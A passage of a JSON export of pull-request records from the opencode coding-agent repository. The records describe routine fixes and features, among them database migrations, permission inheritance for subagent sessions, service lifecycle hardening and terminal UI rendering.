        "text": "### Issue for this PR Closes #42170 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Desktop crashed on session load with `Error: no such column: project_id` in `Project.migrateProjectId`. Some builds replaced the `workspace` table with a provider/binding schema and dropped `project_id`. Current `dev` still remaps project IDs with `UPDATE workspace SET project_id = ...`, which 500s and takes the renderer down. This adds a migration that rebuilds the control-plane `workspace` table when `project_id` is missing, and skips the workspace remap if that column is still absent. Session remaps still run. ### How did you verify your code works? - `bun test test/database-migration.test.ts` in `packages/core` - `bun test test/project/project.test.ts` in `packages/opencode` - Reproduced the crash against the local DB, then confirmed desktop boots and sessions load with this change ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42169",
        "createdAt": "2026-08-12T22:41:52Z",
        "updatedAt": "2026-08-13T01:19:42Z",
        "timestamp": "2026-08-13T01:19:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DatScreamer",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42171",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "Rename 'frapper' to 'bash' in tools documentation",
        "text": "frapper means \"to hit\"",
        "url": "https://github.com/anomalyco/opencode/pull/42171",
        "createdAt": "2026-08-12T22:52:20Z",
        "updatedAt": "2026-08-13T01:33:12Z",
        "timestamp": "2026-08-13T01:33:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [
          "needs:title"
        ],
        "author": "lovasoa",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42173",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): conservative shell permission fallback when tree-sitter assets cannot load",
        "text": "## What Keep shell execution usable when tree-sitter parser assets cannot load, such as in workerd runtimes without filesystem-backed assets. Permission analysis falls back to one conservative command resource instead of failing the scan. ## How Capture parser loading with `Effect.exit`. On failure, return the full command as the resource, derive the reusable save prefix from the existing token arity logic, and report no directories. ## Scope Only changes the parser-load failure path in `packages/core/src/shell/parse.ts`. Successful parser loading and detailed command/directory extraction are unchanged. ## Testing - `bun run test test/shell-parse.test.ts test/permission.test.ts` (16 passed) - `bun typecheck` in `packages/core` - Push hook workspace typecheck (34 tasks passed) No direct failure-path test was added because the loader is a closed module-level singleton; injecting a load failure would require production refactoring beyond this focused fallback.",
        "url": "https://github.com/anomalyco/opencode/pull/42173",
        "createdAt": "2026-08-12T23:22:50Z",
        "updatedAt": "2026-08-12T23:26:30Z",
        "timestamp": "2026-08-12T23:26:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42174",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): subagent sessions inherit ancestor deny rules",
        "text": "## What Before, permission checks used only the current session's agent ruleset, so a subagent session escaped every configured deny in its ancestry. After, denies are fences and asks are per-agent gates: | Ancestor verdict | Current agent + remembered verdict | Result | | --- | --- | --- | | deny | any | deny | | ask or allow | deny | deny | | ask or allow | ask | ask | | ask or allow | allow | allow | Configured denies always win, including over remembered approvals. Ancestor asks and allows do not participate in the current session's gate. V2 agent permissions are explicit per-agent configuration, so a broader child ruleset is deliberate user intent. This matches V1's documented philosophy that parent-agent restrictions govern that agent while a subagent's own permissions determine its capabilities, while improving on V1 by evaluating the live session ancestry instead of copying a spawn-time snapshot. Embedded and headless hosts depend on ancestor deny fences to prevent a child from escaping explicit host restrictions, without introducing inherited asks that cannot be answered and can wedge a turn. ## How - Walk the live session parent chain and collect configured ancestor rulesets. - For each resource, deny if any ancestor or the current agent evaluates to deny; otherwise evaluate only the current agent's ruleset plus remembered approvals for ask/allow. - Treat a missing ancestor agent as an empty ruleset, while a missing current agent remains deny-all. - Reuse the same evaluator for live checks and the pending-request auto-reply loop. - Remove the resolved subagent permission TODO. ## Scope `external_directory` is the V2 equivalent of the V1 action that was copied into child snapshots. This PR inherits its configured denies through the same fence as every action, but does not inherit its asks or allows; the current agent's live `external_directory` rules remain its gate. No API or protocol changes. ## Testing - `bun run test test/permission.test.ts` (15 passed) - `bun run test test/tool-subagent.test.ts` (6 passed) - `bun typecheck` in `packages/core` - Pre-push monorepo typecheck (34 tasks passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42174",
        "createdAt": "2026-08-12T23:22:57Z",
        "updatedAt": "2026-08-12T23:56:21Z",
        "timestamp": "2026-08-12T23:56:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42175",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(sdk): re-export Event schema from sdk-next",
        "text": "## What Expose the `Event` schema namespace from `@opencode-ai/sdk-next` so embedders consuming typed session and event streams do not need to deep-import `@opencode-ai/schema`. ## How Re-export `Event` alongside the SDK entrypoint’s existing schema namespaces and extend the canonical contract test to verify its identity and public presence. ## Scope Only the `sdk-next` public export surface and its contract test are changed. ## Testing - `bun run test` in `packages/sdk-next` (15 passed) - `bun typecheck` in `packages/sdk-next` - Push hook repository typecheck (34 tasks passed)",
        "url": "https://github.com/anomalyco/opencode/pull/42175",
        "createdAt": "2026-08-12T23:23:34Z",
        "updatedAt": "2026-08-12T23:44:37Z",
        "timestamp": "2026-08-12T23:44:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42176",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): set finish status on halted assistant message",
        "text": "### Issue for this PR Closes #42070 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When the session processor halts due to an error that isn't a ContextOverflow (e.g. an API error from the model), the assistant message gets `error` set but `finish` stays undefined. The prompt loop checks `finish` to decide whether to exit — with it undefined, the loop never terminates and the session appears stuck in compaction. The fix sets `finish = \"error\"` in the non-ContextOverflow branch of `halt()`, matching what the ContextOverflow branch already does. This is a one-line change in `processor.ts`. ### How did you verify your code works? Added `expect(handle.message.finish).toBe(\"error\")` to the existing test \"do not retry unknown json errors\" which exercises the exact error-halt path. 15/15 tests pass in `processor-effect.test.ts`, typecheck clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42176",
        "createdAt": "2026-08-12T23:27:35Z",
        "updatedAt": "2026-08-12T23:32:45Z",
        "timestamp": "2026-08-12T23:32:45Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42177",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): dispose all instances on command exit",
        "text": "### Issue for this PR Closes #41841 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `opencode run --session <id> --dir <path>` can load a second InstanceContext via server middleware when the session's original directory differs from `--dir`. The CLI's finally block was calling `store.dispose(ctx)`, which only disposes the primary instance — the middleware-loaded instance is left running with its IPC server alive, so the process never exits. Changed `store.dispose(ctx)` to `store.disposeAll()` with a `logWarning` on failure (matching the pattern in `global-lifecycle.ts`). This ensures all instances loaded during the command are cleaned up. The JSDoc comment is updated to reflect the new behavior. `serve` and `web` commands are unaffected — they use `instance: false` and return before reaching the finally block. The TUI has its own disposal path. ### How did you verify your code works? Typecheck clean. Existing tests for `disposeAll` semantics in `instance.test.ts` (dedup, re-arm) remain green. The source-string assertion in `effect-cmd-instance-als.test.ts` still passes. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42177",
        "createdAt": "2026-08-12T23:28:38Z",
        "updatedAt": "2026-08-12T23:32:44Z",
        "timestamp": "2026-08-12T23:32:44Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42178",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): apply variable substitution to v2 config loading",
        "text": "### Issue for this PR Closes #41973 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The v2 config loading path in `packages/core/src/config.ts` reads config files and parses them as JSONC without applying `{file:}` and `{env:}` variable substitution. The v1 path in `packages/opencode/src/config/config.ts` calls `ConfigVariable.substitute()` on the raw text before parsing. Through `opencode run` and the TUI (v1 path), `{file:/tmp/demo.key}` is resolved and the provider authenticates. Through `opencode serve` (v2 path), the literal string `{file:/tmp/demo.key}` ends up as the API key, causing 401s. This PR adds an Effect-based `substitute()` function in `packages/core/src/config/variable.ts` that handles `{env:VAR}` and `{file:path}` substitutions, and calls it in `loadFile()` before JSONC parsing. The implementation mirrors the v1 substitution logic: supports `~/` expansion, relative paths (relative to the config file), skips substitution inside `//` line comments, and trims file content. ### How did you verify your code works? Added 5 tests to `config.test.ts` covering: `{file:}` with relative paths, `{env:}` substitution, `//` comment skipping, `{file:}` with absolute paths, and `{file:}` content containing JSON-special characters (quotes, backslashes, newlines). 20/20 tests pass, typecheck clean, prettier clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42178",
        "createdAt": "2026-08-12T23:29:44Z",
        "updatedAt": "2026-08-12T23:32:49Z",
        "timestamp": "2026-08-12T23:32:49Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42179",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): render Mermaid GitGraph diagrams",
        "text": "## What Render Mermaid `gitGraph` fences as terminal-native vertical commit graphs in OpenCode. ```text ○ baseline │╲ │ ○ extract-seam Extract seam │ │ │ ○ add-tests (refactor, tag: ready) │ │ ○ │ unrelated-fix │╱ ◎ land-refactor (main, tag: v2) ``` The vertical layout follows terminal Git graph conventions: branches staircase outward, remain vertical while active, and collapse directly into merge nodes without dangling corner glyphs. ## How - Adds parsing for commits, branches, checkout/switch, merges, IDs, messages, tags, commit types, branch ordering, comments, titles, and accessibility metadata. - Preserves final branch heads and validates invalid branch and merge operations with source diagnostics. - Renders semantic commit types and colored branch lanes with auxiliary rows for wide transitions. - Integrates detection, themed Markdown rendering, streaming fallback, and tests. - Keeps the implementation synchronized byte-for-byte with the stacked `@opentui/mermaid` implementation. ## Scope - This PR is stacked on #42130 and contains only GitGraph support beyond that branch. - Mermaid orientations are preserved while terminal output intentionally uses a vertical layout. - `cherry-pick` is explicitly rejected for now. ## Testing - `bun run test` in `packages/merman`: 324 passed - `bun run typecheck` in `packages/merman` - Full 39-package push-hook typecheck - GitGraph family is byte-for-byte synchronized with OpenTUI",
        "url": "https://github.com/anomalyco/opencode/pull/42179",
        "createdAt": "2026-08-12T23:31:56Z",
        "updatedAt": "2026-08-13T00:10:56Z",
        "timestamp": "2026-08-13T00:10:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42183",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(catalog): click-to-annotate captures with GitHub issue handoff",
        "text": "## What Adds click-to-annotate feedback to the lab catalog viewer. Open any capture, press `A` (or the Annotate button), click a terminal cell, type a note in a composer anchored at that point, and press Enter. Each capture's annotations become one prefilled GitHub issue with readable notes plus machine-readable JSON, so design feedback lands in the tracker with exact cell coordinates. **1. Annotate mode** — press `A` in the viewer; clicking the terminal drops a numbered pin and opens the composer at that spot. ``` ┌ terminal capture ──────────────┐ │ ① │ │ ┌ New annotation R12·C49 ┐ │ │ │ Logo could be smaller │ │ │ │ Cancel [Add] │ │ │ └─────────────────────────┘ │ └────────────────────────────────┘ ``` **2. Saved** — Enter saves; only the pin and a quiet list row remain. Clicking either reopens the composer with Delete available. **3. Handoff** — \"Open GitHub issue\" links to a prefilled issue; the annotation set also round-trips through a versioned `#annotations=` base64url fragment for shareable links. ## How - `src/annotations.ts` — versioned annotation document, cell coordinates, base64url fragment encode/validate. - `src/components/AnnotationEditor.tsx` — pin overlay and anchored composer (Enter saves, Shift+Enter newline, Escape leaves, IME-safe, auto-focus after pointer settles). - `src/components/Viewer.tsx` — annotation state keyed per capture/variant, `localStorage` drafts, `A` shortcut, issue link. - `src/feedback.ts` — issue body with human-readable notes and a `json` block for agents. - `src/components/CaptureSetSwitcher.tsx`, `src/styles.css` — header cleanup: pin-style count dot, plain-text kbd hints, unselectable `⋯` menu, `Theme <name> ▾` switcher with an invisible native select overlay, neutral focus outlines. ## Scope - GitHub remains the only durable store: no accounts, uploads, or anonymous writes. - Annotations cap at 24 per capture; issue URL stays within GitHub's length limits. - `public/catalog.json` untouched; the pre-existing formatting drift between `bun run generate` output and the prettier-formatted committed file is left alone (deploy CI regenerates it anyway). ## Testing - `bun run typecheck`, `bun run test` (34 pass), `bun run build`, package lint (25 pre-existing warnings, 0 errors) from `packages/lab/catalog`. - Browser-tested via real Chromium: pin placement, composer focus, Enter/Escape semantics, edit/delete, reload reconstruction from the URL fragment, mobile (390px) overflow, and the generated issue link host/labels/body. ## Demo Composer anchored at the clicked cell: ![annotation-composer-demo.png](https://github.com/user-attachments/assets/42066002-4992-474a-8d24-bf1c271b8ff2) After Enter, just the pin and list row: ![annotation-saved-demo.png](https://github.com/user-attachments/assets/5e1b11be-93cb-423f-a700-5f581d40dee5) Header with the pin-style count: ![viewer-header-count.png](https://github.com/user-attachments/assets/88535e75-0f09-45f2-ab7f-45a379b935ad)",
        "url": "https://github.com/anomalyco/opencode/pull/42183",
        "createdAt": "2026-08-12T23:48:52Z",
        "updatedAt": "2026-08-13T00:29:35Z",
        "timestamp": "2026-08-13T00:29:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42185",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(client): prevent stale service replacement",
        "text": "## What Prevent an older CLI or Desktop client from replacing a newer managed background service. ## Before / After **Before** A client required its exact installed version. After an update, an older client saw the newer service as incompatible and replaced it with the older binary. A newer client could then replace that service again. **After** CLI and Desktop accept a service at the same or a newer comparable version. A newer client still sees an older service as incompatible, so normal automatic upgrades continue. ```mermaid flowchart TD A[Client discovers service] --> B{Service version >= client?} B -->|Yes| C[Reuse service] B -->|No| D[Existing replacement path] ``` ## How - `packages/client/src/service-version.ts` compares stable and numeric preview versions and conservatively accepts incomparable development versions. - `packages/cli/src/services/service-config.ts` uses the compatibility predicate for managed startup. - `packages/desktop/src/main/background-cli.ts` applies the same policy. - Client tests verify numeric ordering and that a stale real child-process client neither stops nor replaces a newer service. ## Scope This PR only changes version compatibility policy. It does not change stop authentication, PID signaling, Promise registration validation, migration polling, service election, or TUI presentation. ## Testing - `cd packages/client && bun run test` - `cd packages/client && bun typecheck` - `cd packages/cli && bun run test test/server-connection.test.ts --test-name-pattern 'service options'` - `cd packages/cli && bun typecheck` - `cd packages/desktop && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42185",
        "createdAt": "2026-08-12T23:59:34Z",
        "updatedAt": "2026-08-13T01:40:37Z",
        "timestamp": "2026-08-13T01:40:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42186",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(client): require authenticated service stop",
        "text": "## What Require the managed service to authenticate and accept an exact-instance stop request before a client starts a replacement. ## Before / After **Before** If health or stop requests timed out, the client could fall back to `SIGTERM` and `SIGKILL` using the PID from registration. Rejected stops could also be ignored while replacement continued. **After** Replacement proceeds only after the registered service accepts an authenticated stop containing its instance ID and exits. Rejected, timed-out, unsupported, or incomplete stops fail without spawning a replacement. An unresponsive registration requires manual recovery. ```mermaid flowchart TD A[Replacement requested] --> B[Authenticated stop with instance ID] B -->|Accepted and exited| C[Start replacement] B -->|Rejected, timed out, unsupported, or still running| D[Fail closed] ``` ## How - Removes automatic `SIGTERM`/`SIGKILL` eviction from Effect and Promise lifecycle clients. - Distinguishes rejected transport from an unsupported legacy stop route. - Propagates stop failures instead of ignoring them. - Adds real child-process tests for rejected, hanging, accepted-but-not-exited, legacy, and unresponsive services. ## Scope This PR does not change version compatibility, Promise registration validation, migration polling, service election, CLI/Desktop policy, or TUI presentation. ## Testing - `cd packages/client && bun run test` (65 passed) - `cd packages/client && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42186",
        "createdAt": "2026-08-13T00:07:08Z",
        "updatedAt": "2026-08-13T01:41:10Z",
        "timestamp": "2026-08-13T01:41:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42187",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(client): validate promise service discovery",
        "text": "## What Validate managed-service registration and health data before the Promise client uses it for discovery. ## Before / After **Before** The Promise client cast `JSON.parse` and health response bodies to trusted types. Primitive, partial, or incorrectly typed data could reach lifecycle logic. **After** Discovery accepts only registrations with a string URL and positive integer PID, optional correctly typed identity fields, and health responses with a complete valid modern or legacy shape. ## How - Adds runtime field checks in `packages/client/src/promise/service.ts`. - Keeps modern and legacy health classification explicit. - Adds focused malformed registration and health response tests. ## Scope This PR does not change version compatibility, replacement authority, stop/PID behavior, concurrency, CLI/Desktop policy, or TUI behavior. ## Testing - `cd packages/client && bun run test` (59 passed) - `cd packages/client && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42187",
        "createdAt": "2026-08-13T00:07:21Z",
        "updatedAt": "2026-08-13T00:07:30Z",
        "timestamp": "2026-08-13T00:07:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42188",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): retry migration status transport errors",
        "text": "## What Keep the migration status overlay polling through temporary server transport loss. ## Before / After **Before** A transient disconnect while the background service restarted ended migration polling and displayed a migration failure toast. **After** Transport errors retry after one second. Actual API or migration errors still surface, and unmount aborts polling without a stale toast. ## How - Retries only `ClientError` transport failures in `packages/tui/src/component/migration-overlay.tsx`. - Checks the abort signal before and after retry delays. - Suppresses cleanup-triggered error presentation. ## Scope This PR does not change service version policy, replacement, stop behavior, discovery validation, service election, or TUI layout. ## Testing - `cd packages/tui && bun run test test/component` (10 passed) - `cd packages/tui && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42188",
        "createdAt": "2026-08-13T00:07:31Z",
        "updatedAt": "2026-08-13T01:41:10Z",
        "timestamp": "2026-08-13T01:41:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42189",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): inset update footer",
        "text": "## What Add one cell of left padding to the update preflight footer so its monogram no longer touches the terminal edge. ## Before / After **Before:** The update monogram began in terminal column zero and appeared flush against the left edge. **After:** The footer content starts one cell in, matching the intended visual inset while preserving the existing spacing between the monogram and status content. ## How - Set `paddingLeft={1}` on the outer update footer row in `packages/cli/src/services/update-preflight.tsx`. ## Scope - Only changes the update preflight footer layout. - Does not change update behavior, timing, or service replacement logic. ## Testing - `bun typecheck` from `packages/cli` - Push hook: `bun turbo typecheck --concurrency=3` (34 tasks passed) - `git diff --check`",
        "url": "https://github.com/anomalyco/opencode/pull/42189",
        "createdAt": "2026-08-13T00:08:51Z",
        "updatedAt": "2026-08-13T00:15:59Z",
        "timestamp": "2026-08-13T00:15:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42192",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(desktop): run local server from source",
        "text": "## Summary - run the local Desktop server with the CLI package dev script - remove the native production CLI build from local Desktop startup - keep downloaded and packaged CLI behavior unchanged ## Verification - bun typecheck from packages/desktop - bun run build from packages/desktop",
        "url": "https://github.com/anomalyco/opencode/pull/42192",
        "createdAt": "2026-08-13T00:24:01Z",
        "updatedAt": "2026-08-13T00:26:09Z",
        "timestamp": "2026-08-13T00:26:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42193",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): use matching v2 CLI in WSL",
        "text": "## Summary - migrate Desktop WSL servers from opencode to opencode2 - require the WSL CLI version to match the Desktop server version exactly - use the official V2 installer with --version for releases - build the Linux CLI only when a local WSL install is requested, then install it with --binary - simplify the WSL controller around the normal user flow ## Verification - bun typecheck from packages/desktop - bun typecheck from packages/cli - bun test src/main/wsl/servers.test.ts from packages/desktop - bun run build from packages/desktop - cross-built cli-linux-x64 with Bun 1.3.14 - installed the local binary in a temporary Debian WSL home and verified opencode2 vlocal",
        "url": "https://github.com/anomalyco/opencode/pull/42193",
        "createdAt": "2026-08-13T00:25:46Z",
        "updatedAt": "2026-08-13T00:46:38Z",
        "timestamp": "2026-08-13T00:46:38Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42194",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(desktop): run local server from source",
        "text": "## Summary - run the local Desktop server with the CLI package dev script - remove the native production CLI build from local Desktop startup - keep downloaded and packaged CLI behavior unchanged ## Verification - bun typecheck from packages/desktop - bun run build from packages/desktop",
        "url": "https://github.com/anomalyco/opencode/pull/42194",
        "createdAt": "2026-08-13T00:26:21Z",
        "updatedAt": "2026-08-13T00:44:48Z",
        "timestamp": "2026-08-13T00:44:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Hona",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42196",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): truncate queued prompt preview",
        "text": "**What** Keep the queued-prompt dock to one terminal row when the next queued prompt contains multiple lines. **Before / After** **Before:** Queuing a multiline prompt preserved its newline characters in the dock preview. Although the text renderer used `wrapMode=\"none\"` and `truncate`, explicit newlines expanded the dock and could consume much of the session viewport. **After:** The dock replaces preview newlines with spaces before rendering. The existing single-line truncation then bounds the preview to one row, while the queued-prompts dialog retains the complete original text. **How** - `packages/tui/src/routes/session/index.tsx`: flatten newlines only in `QueuedPromptDock`'s derived preview text. **Scope** This does not alter queued prompt storage, delivery, or the full text shown in the queued-prompts dialog. **Testing** - `bun typecheck` in `packages/tui` - Push hook: `bun turbo typecheck --concurrency=3` (34 packages passed) - `opencode-drive check queued-prompt-drive.ts` - Exercised multiline prompt entry and Alt+Enter through a development TUI with OpenCode Drive. The scripted queue capture wedged on its first UI RPC, and the live simulated response completed before queue admission, so no screenshot is attached as queue-dock evidence.",
        "url": "https://github.com/anomalyco/opencode/pull/42196",
        "createdAt": "2026-08-13T00:35:44Z",
        "updatedAt": "2026-08-13T00:42:44Z",
        "timestamp": "2026-08-13T00:42:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42197",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(stats): keep tablet chart tooltips above bars",
        "text": "## Summary - raise the active top-model chart bar within the tablet breakpoint - keep its static tooltip above later chart bars without changing desktop or mobile stacking ## Validation - `bun typecheck` (`packages/stats/app`) - `bun --bun run build` (`packages/stats/app`) - Playwright visual check at 767, 768, 927, and 929 px; the tooltip layering changes only within the 768–928 px breakpoint - pointer hover and keyboard focus both activate the corrected stacking layer Requested by: @adamdotdevin (Adam via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42197",
        "createdAt": "2026-08-13T00:35:46Z",
        "updatedAt": "2026-08-13T09:55:16Z",
        "timestamp": "2026-08-13T09:55:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "adamdotdevin"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42198",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): repair baseline unit failures",
        "text": "## What Repair the deterministic Linux unit failures introduced by the current OpenTUI and Drive configuration baselines. ## Before / After **Before** - Monochrome fenced code could render Unicode source such as `Café → …` after a `CodeRenderable` was reused across Markdown block types. - Drive tests parsed generated `.jsonc` files with strict JSON APIs and failed as soon as defaults contained comments. **After** - Non-Markdown code content is ASCII-normalized before OpenTUI refreshes its buffer, producing `Caf? -> ...`. - Drive instance and CLI tests parse `.jsonc` files with `Bun.JSONC.parse`, matching production and the file format. ## How - `packages/tui/src/mini/mono.ts` checks the renderable's current file type and normalizes non-Markdown code content. - Drive test assertions read JSONC text and parse it with Bun's JSONC parser. ## Scope Production Drive behavior is unchanged. This does not alter service lifecycle behavior. A one-off diff-viewer renderer timeout was not changed because it passed 20 focused runs and five complete TUI suites after these deterministic failures were removed. ## Testing - `cd packages/tui && bun run test test/mini/footer.view.test.tsx` (42 passed, 4 skipped) - `cd packages/tui && bun typecheck` - `cd packages/drive && bun run test` (205 Effect tests and 58 CLI integration tests passed) - `cd packages/drive && bun typecheck` - Repository pre-push typecheck: 34 packages passed",
        "url": "https://github.com/anomalyco/opencode/pull/42198",
        "createdAt": "2026-08-13T00:38:57Z",
        "updatedAt": "2026-08-13T01:04:52Z",
        "timestamp": "2026-08-13T01:04:52Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42199",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(deskltop): use opencode2 in WSL",
        "text": "## Summary - migrate Desktop WSL servers from opencode to opencode2 - require the WSL CLI version to match the Desktop server version exactly - use the official V2 installer with --version for releases - build the Linux CLI only when a local WSL install is requested, then install it with --binary - simplify the WSL controller around the normal user flow ## Verification - bun typecheck from packages/desktop - bun typecheck from packages/cli - bun test src/main/wsl/servers.test.ts from packages/desktop - bun run build from packages/desktop - cross-built cli-linux-x64 with Bun 1.3.14 - installed the local binary in a temporary Debian WSL home and verified opencode2 vlocal",
        "url": "https://github.com/anomalyco/opencode/pull/42199",
        "createdAt": "2026-08-13T00:46:28Z",
        "updatedAt": "2026-08-13T01:20:51Z",
        "timestamp": "2026-08-13T01:20:51Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Hona",
        "state": "closed",
        "assignees": []
